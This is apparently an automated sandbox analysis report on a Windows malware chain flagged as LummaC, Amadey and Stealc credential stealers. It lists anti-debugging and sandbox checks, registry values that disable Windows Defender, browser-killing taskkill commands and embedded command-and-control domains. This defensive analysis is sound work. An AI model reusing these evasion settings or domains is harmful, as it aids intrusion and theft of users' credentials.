Source: 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW+B
Source: 994a9a760e.exe, 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware'p
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005318000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001E.00000002.3211261433.0000027F66ED0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3208113898.00000229088F0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2216660119.0000000001630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001630000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWen-GBn~3
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3322729341.0000000001415000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: QZRNZLINJW4FDHW89WOCWU0IJ.exe, 00000004.00000002.2606408322.0000000000D01000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2637377757.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000006.00000002.2637423157.0000000000D61000.00000040.00000001.01000000.00000009.sdmp, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804092829.0000000000918000.00000040.00000001.01000000.0000000B.sdmp, 994a9a760e.exe, 0000000C.00000002.3021291686.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, 8Z5C764IBSHZ8A5U9SVRCREF.exe, 0000000D.00000002.3130421931.0000000000487000.00000040.00000001.01000000.0000000E.sdmp, 994a9a760e.exe, 00000020.00000002.3227905367.0000000000C18000.00000040.00000001.01000000.0000000D.sdmp, DBQJ2COS8NEE0DVFAHC8.exe, 00000021.00000002.3193269765.0000000000C51000.00000040.00000001.01000000.00000019.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3315588329.00000000009B8000.00000040.00000001.01000000.0000001A.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 3f779c1cca.exe, 0000000E.00000003.3080981348.0000000005313000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Code function: 4_2_05240C4C rdtsc 4_2_05240C4C
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 994a9a760e.exe PID: 4024, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 4948, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 994a9a760e.exe PID: 5692, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, type: DROPPED
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2188758871.0000000005420000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: mobbipenju.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\QZRNZLINJW4FDHW89WOCWU0IJ.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe "C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe "C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe "C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1001105001\num.exe "C:\Users\user\AppData\Local\Temp\1001105001\num.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: fb9fc5d370.exe, 0000000F.00000002.3104615180.0000000000482000.00000002.00000001.01000000.00000011.sdmp, fb9fc5d370.exe, 00000025.00000002.3269908676.0000000000482000.00000002.00000001.01000000.00000011.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: B7KMZCE66VGDP83M16.exe, B7KMZCE66VGDP83M16.exe, 0000000A.00000002.2804092829.0000000000918000.00000040.00000001.01000000.0000000B.sdmp, 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe, 00000022.00000002.3315588329.00000000009B8000.00000040.00000001.01000000.0000001A.sdmp Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2637423157.0000000000D61000.00000040.00000001.01000000.00000009.sdmp Binary or memory string: 2Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001105001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1001105001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7KMZCE66VGDP83M16.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Registry value created: TamperProtection 0
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\8Z5C764IBSHZ8A5U9SVRCREF.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations
AV process strings found (often used to terminate AV products)
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2978718141.000000000122A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017748117.000000000122B000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998700446.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2999066594.000000000122B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 5.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.QZRNZLINJW4FDHW89WOCWU0IJ.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 33.2.DBQJ2COS8NEE0DVFAHC8.exe.a60000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000003.2596824041.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2637269874.0000000000B71000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000003.3136703502.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.2596347151.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.2564936700.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2637220274.0000000000B71000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.3190167953.0000000000A61000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2728686776.0000000005370000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2606287990.0000000000B11000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: 0000000F.00000003.3103917580.000000000109F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000003.3268917085.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: fb9fc5d370.exe PID: 1732, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: fb9fc5d370.exe PID: 2580, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 1340, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3f779c1cca.exe PID: 6836, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3f779c1cca.exe PID: 6828, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 31.2.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.0.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.3125212572.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000000.3094487881.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
